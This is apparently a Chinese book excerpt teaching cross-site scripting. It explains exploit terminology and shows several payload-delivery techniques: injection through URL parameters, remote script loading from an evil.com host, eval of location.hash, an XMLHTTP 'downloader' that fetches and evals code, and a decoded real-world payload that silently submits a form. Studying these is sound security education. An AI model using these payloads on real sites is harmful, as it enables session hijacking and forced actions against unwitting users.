利用XSS弹出恶意警告框,代码为:
<script>alert("XSS");</script>
XSS输入也可能是HTML代码段,如要使网页不停地刷新,代码为:
<meta http-equiv="refresh" content="0;">
嵌入其他网站的链接,代码为:
<iframe src=http://www.test.com width=0 height=0></iframe>
XSS可能会给网站和用户带来的危害简单概括如下:
(1)网络钓鱼,包括盗取各类用户账号;
(2)窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
(3)劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;
(4)强制弹出广告页面、刷流量等;
(5)网页挂马;
(6)进行恶意操作,例如任意篡改页面信息、删除文章等;
(7)进行大量的客户端攻击,如DDoS攻击;
(8)获取客户端信息,例如用户的浏览历史、真实IP、开放端口等;
(9)控制受害者机器向其他网站发起攻击;
(10)结合其他漏洞,如CSRF漏洞,实施进一步作恶;
(11)提升用户权限,包括进一步渗透网站;
(12)传播跨站脚本蠕虫等;
【Shellcode】
所谓的Shellcode,最初是溢出程序和蠕虫病毒的核心,实际上是指利用一个漏洞时所执行的代码。在XSS跨站脚本中,是指由JavaScript等脚本编写的XSS利用代码。
【Exploit】
Exploit 的英文意思就是利用,在黑客眼里就是漏洞利用,通常表示完整编写好的漏洞利用工具(或程序),具有一定的攻击性。
Exploit很容易和Shellcode混淆,所以需要记住一点:Exploit往往包含了Shellcode。
【POC】
即Proof of Concept的缩写,是一段证明漏洞存在的程序代码片段。
在传统XSS的运用中,Shellcode一般是直接写进页面中执行,不过实际环境中可能会遇到重重阻挠,比如服务器端程序的过滤、输入字符有长度限制等,所以,攻击者往往会把Shellcode写到远程服务器上,然后使用<script>等标签对其进行调用,或者使用一些本地存储对象对其进行存储和调用等。
在XSS中调用Shellcode有多种方式。
1.假设www.bug.com的某个页面含有一个XSS漏洞,Exploit如下:
http://www.bug.com/veiw.php?sort=【Expliot】
可以直接把Shellcode写到URL参数中,如:
http://www.bug.com/veiw.php?sort=">alert(/xss/)
这里有个显而易见的缺点,就是恶意代码败露在URL链接中,容易使网站用户产生怀疑。此外,Web应用程序不仅会对当中的恶意代码进行过滤,也会限制URL的字符长度。所以,方便起见,Shellcode可写到其他服务器的文件上,然后再用<script>标签进行动态加载。
譬如上面的例子中,可以很容易地在里面添加一个src属性,并远程执行:
"><script src=http:// www. evil.com/xss.js></script><
http://www.bug.com/veiw.php?sort="><script src=http:// www..evil.com/xss.js></script><
除了使用标签动态调用远程JavaScript,还可以运用基于DOM的方法创建和插入节点,把脚本或HTML注入到网页,实现过程如下:
var s=document.createElement("script");
s.src="http://www.evil.com/xss.js";
document.getElementsByTagName("head")[0].appendChild(s);
第一行代码使用createElement()函数创建一个新元素——script。
第二行代码把<script>的src属性设置成 “http://www.evil.com/xss.js”,xss.js里面写有Shellcode代码。
第三行代码使用getElementsByTagName()函数查找并返回文档中第一个元素(因为索引为0),然后利用appendChild()函数调用元素参数s,追加指定的节点到子节点列表的最后一个。
简单来说,这段脚本的作用就是动态创建了一个<script>标签,其src属性指向http://www.evil.com/xss.js,然后把引用JavaScript的代码插入到网页的<head>标签后。标签,其src属性指向http://www.evil.com/xss.js,然后把引用JavaScript的代码插入到网页的标签后。
2.加载远程域的JavaScript文件是调用XSS Shellcode的常见方式之一,它的不便之处在于:需要有远程服务器的权限,恰当地说,利用者必须上传JavaScript等文件到某个服务器上。
如果仅仅是为了解决URL字符长度问题,还可以使用另一种方式实现Shellcode的存储和调用——利用window.location.hash属性。
location是JavaScript管理地址栏的内置对象,比如location.href用来管理页面的URL,用location.href=url就可以直接将页面重定向URL,而location.hash则可以用来获取或设置页面的标签值。比如http://domain/#admin的location.hash="#admin",利用这个属性值可以做一件非常有意义的事情。
例如前面的例子,如果结合location.hash的特性调用Shellcode,具体代码如下:
http://www.bug.com/veiw.php?sort=">eval(location.hash.substr(1))#alert('xss')
简单解释一下上述代码:
substr()可在字符串中抽取从start下标(这里是1)开始的指定数目的字符
所以location.hash.substr(1) 的作用是抽取“#”符号后面的字符,即alert('xss');
而eval()函数用来计算某个字符串,并执行其中的JavaScript代码。那么,eval(location.hash.substr(1))的功能就是执行Url的#之后的JavaScript代码,通过这个技巧,就能先把Shellcode写到地址参数中再执行。
如:
http://www.bug.com/veiw.php?sort=">eval(location.hash.substr(1))# var url="/index.php?mod=blog&act=dopost";var content="blog_content=By%3A%E5%AD%A4 "; function _sd_Post(Url, Args){var xmlhttp;var error;eval('try {xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {xmlhttp = null;error=e;}');if(null != xmlhttp){ xmlhttp.Open("POST", Url, false); xmlhttp.setRequestHeader("x-requested- with", "XMLHttpRequest");xmlhttp.setRequestHeader("Referer", "http://www.my.com/api_ proxy.html");xmlhttp.setRequestHeader("Accept", "application/json, text/javascript, */*");xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");xmlhttp.setRequestHeader("Host", "www.my.com");xmlhttp.Send(Args); strText = xmlhttp.responseText; }}_sd_Post(url, content);
这个XSS Expliot还可以经过各种编码处理以加强迷惑性。
3.XSS downloader(XSS下载器),事先把Shellcode写在网站的某个页面,再利用XMLHTTP控件向网站发送HTTP请求(POST或GET),然后执行返回的数据,下面是一个简单的POC:
function XSS(){
a=new ActiveXObject('Microsoft.XMLHTTP');
a.Open('get','http://www.bug.com/11221.html',false);/
a.send();
b=a.responseText;
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));
}
XSS();
而http://www.bug.com/11221.html 页面写入了Shellcode代码:
Xx09abcxddxBOF|alert(/XSS/)|EOFxxx44xx1212
解释一下这段代码的作用。
第一行:定义一个XSS()函数,该函数也就是调用Shellcode的主函数。
第二行:创建一个XMLHTTP对象。
第三、四行:向http://www.bug.com/11221.html发送一个HTTP请求并获取HTTP响应。
第五行:获取responseText,结果返回为字符串,把该变量赋值给b变量。
第六行:用indexOf()函数计算BOF|和|EOF的位置,再用substring()函数方法取出字符串,最后用unescape()函数方法解码执行。
如果对XMLHTTP技术一点都不了解,读者可能会被上述难以捉摸的代码迷惑,本书的第5章有专门讨论Ajax技术的相关内容,欢迎大家参考。
最后,我们看一个真实的XSS利用案例。
某网站同学录留言的贴图URL输入框处出现过XSS,主要是用onload事件来触发,Expliot如下:
// 在留言的贴图URL的输入框里填写
/editor/UploadFile/2006-12/2/2006122155124754.gif" onload="var t=document.body.
innerHTML;var s=t.indexOf(’+++’)+3;var e=t.indexOf(’---’);eval(unescape(t.substring
(s,e)));">
// 在留言框内填写:
+++try%20%7B%0D%0A%09var%20as%20%3D%20document.getElementsByTagName%28%22a%22%29%3B%0D%0A%09var%20frm%20%3D%20document.getElementsByTagName%28%22iframe%22%29%5B0%5D%3B%0D%0A%09frm.onload%20%3D%20function%28%29%20%7B%0D%0A%09%09var%20oFrm%20%3D%20document.getElementsByTagName%28%22iframe%22%29%5B0%5D%3B%0D%0A%09%09oFrm.onload%20%3D%20%22%22%3B%0D%0A%09%09var%20oDoc%20%3D%20oFrm.contentWindow.document%3B%0D%0A%09%09oDoc.all%5B%22who%22%5D%5B1%5D.checked%20%3D%20true%3B%0D%0A%09%09oDoc.dealmember.action%20%3D%20%22backaction/UpdateClassMate.jsp%3Ff%3D1%22%3B%0D%0A%09%09oDoc.dealmember.submit%28%29%3B%0D%0A%09%7D%0D%0A%09frm.src%20%3D%20as%5B34%5D.href%3B%0D%0A%7D%20catch%20%28e%29%20%7B%0D%0A%09alert%28e%29%3B%0D%0A%7D---
XSS代码触发后,会调用留言内容中的+++和---之间的部分代码,对这段代码解码后得到核心的Shellcode如下:
try {
var as = document.getElementsByTagName("a");
var frm = document.getElementsByTagName("iframe")[0];
frm.onload = function() {
var oFrm = document.getElementsByTagName("iframe")[0];
oFrm.onload = "";
var oDoc = oFrm.contentWindow.document;
oDoc.all["who"][1].checked = true;
oDoc.dealmember.action = "backaction/UpdateClassMate.jsp?f=1";
oDoc.dealmember.submit();
}
frm.src = as[34].href;
} catch (e) {
alert(e);
}